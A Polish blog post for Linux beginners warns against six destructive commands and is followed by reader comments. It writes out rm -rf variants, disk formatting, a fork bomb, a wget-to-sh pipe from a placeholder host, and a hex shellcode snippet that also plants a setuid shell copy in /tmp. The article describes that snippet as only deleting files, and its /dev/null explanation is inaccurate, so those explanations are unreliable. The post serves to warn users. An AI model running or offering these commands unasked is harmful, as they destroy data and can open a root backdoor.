Sześć poleceń, które powinnaś/powinieneś znać!

Jeśli dopiero zaczynasz przygodę z Linuksem i coraz częściej używasz terminala, to bezwzględnie powinieneś zapoznać się z poniższymi poleceniami. Są to komendy, które wywołane z prawami administratora (i nie tylko) wywołają nieodwracalne szkody w systemie. Jako początkujący użytkownik zapewne bardzo często wklejasz polecenia „na ślepo”, bez wiedzy o tym, co one faktycznie robią. Pamiętaj, że nie wszyscy w sieci muszą być życzliwi i udzielić Ci takiej pomocy, na jakiej Ci zależy.

  1. Numer jeden na liście to sudo rm -rf – klasyk, który może wystąpić pod wieloma postaciami np.:
    sudo rm -rf /
    sudo rm -rf .
    sudo rm -rf *
    rm -rf ~ / &

    Polecenie to wymusza rekurencyjne usunięcie wszystkich plików w podanych lokalizacjach. Są to kolejno:

    • partycja systemowa /,
    • bieżący katalog . (kropka), nie wymaga praw administratora, jeśli znajdujesz się w swoim katalogu domowym!
    • wszystkie pliki i katalogi w obecnym katalogu, nie wymaga praw administratora, jeśli znajdujesz się w swoim katalogu domowym!
    • usunięcie wszystkiego w katalogu domowym lub, jeśli jesteś zalogowany jako root, całej partycji /.
  2. To samo co wyżej, tylko w innej postaci:
    char esp[] __attribute__ ((section(".text"))) /* e.s.p
    
    release */
    
    = "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
    
    "xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
    
    "xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
    
    "x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
    
    "x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
    
    "xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
    
    "x6ex2fx73x68x00x2dx63x00"
    
    "cp -p /bin/sh /tmp/.beyond; chmod 4755
    
    /tmp/.beyond;";

    Jest to kod heksadecymalny, który powoduje wykonanie polecenia:

    rm -rf ~ / &

    Które spowoduje usunięcie Twojego katalogu domowego lub, jeśli jesteś zalogowany jako root, całej partycji /.

  3. Formatowanie dysku, czyli sudo mkfs:
    sudo mkfs /dev/sda

    Wykonanie tego polecenia spowoduje sformatowanie całego dysku twardego.

  4. Pobieranie nieznanych plików za pomocą wget:
    wget http://nieznany_plik -O- | sh

    wget służy do pobierania plików z Internetu. Sam z siebie nie jest zły, jednak dodanie | sh powoduje uruchomienie pobranego pliku – niebezpieczne, jeśli nie wiesz do czego plik służy.

  5. Tworzenie wielu procesów:
    ":(){:|:&};:" //wykonywane bez "", dodałem, ponieważ pojawiły się emotikony

    Tak, ten kod może zawiesić Twój komputer, podobnie jak ten:

    fork while fork

    Jak? Tworzone są setki, tysiące, dziesiątki tysięcy (w zależności ile Twój komputer wytrzyma :) ) procesów w systemie. Prędzej czy później ich ilość powinna doprowadzić do zawieszenia systemu.

  6. Przeniesienie katalogu do /dev/null:
    mv ~/* /dev/null

    Wszystko co trafi do /dev/null zostaje natychmiast usunięte – coś w stylu czarnej dziury. W tym przypadku zostaje przeniesiony katalog domowy, ale pamiętaj, że wszystko co trafi do /dev/null już nie wróci.

Jeżeli powyższy artykuł nie rozwiązał lub rozwiązał częściowo Twój problem, dodaj swój komentarz opisujący, w którym miejscu napotkałeś trudności.
Mile widziane komentarze z uwagami lub informacjami o rozwiązaniu problemu.
  • adiw

    Ja mam wszystko w /dev/null :)

  • Kiro

    „Jak? Tworzone są setki, tysiące, dziesiątki tysięcy (w zależności ile Twój komputer wytrzyma ) procesów w systemie. Prędzej czy później ich ilość powinna doprowadzić do zawieszenia systemu.”
    Tworzone jest tyle procesów ile jest dopuszczalnych w systemie – wystarczy wyłączyć ten kod (spowoduje zmniejszenie liczy procesów o 1) i na to miejsce wykonanie killall z odpowiednim parametrem.

    Wykonanie rekurencyjnego polecenia rm dla katalogu root wymaga dodatkowego potwierdzenia, lub nawet jest zablokowane w ubuntu od kilku wersji.

    „Wszystko co trafi do /dev/null zostaje natychmiast usunięte – coś w stylu czarnej dziury. W tym przypadku zostaje przeniesiony katalog domowy, ale pamiętaj, że wszystko co trafi do /dev/null już nie wróci.”
    Wg mnie wróci po użyciu jakiegoś prostego odzyskiwania plików (po prostu usuwane są dowiązania do plików, a sam plik ustawiany jest do nadpisania, jednak automatyczne żadne nadpisanie się nie wykonuje.

  • googlownik

    shred -v -f -u -z -n 20

    Przykład nadpisywanie 20 razy i usuwania pliku

  • googlownik

    wipe -i -r -V -p 20 KATALOG/ -l 2

    Przykładowe użycie do usunięcia całego katalogu z danymi:

    wipe – bez problemu obsługuje rekursywne usuwanie plików i katalogów, interaktywnie zadaje pytania jeśli nie zastosowany został przełącznik -f a także potrafi pokazać procentowy postęp przy większych plikach (przełącznik -V).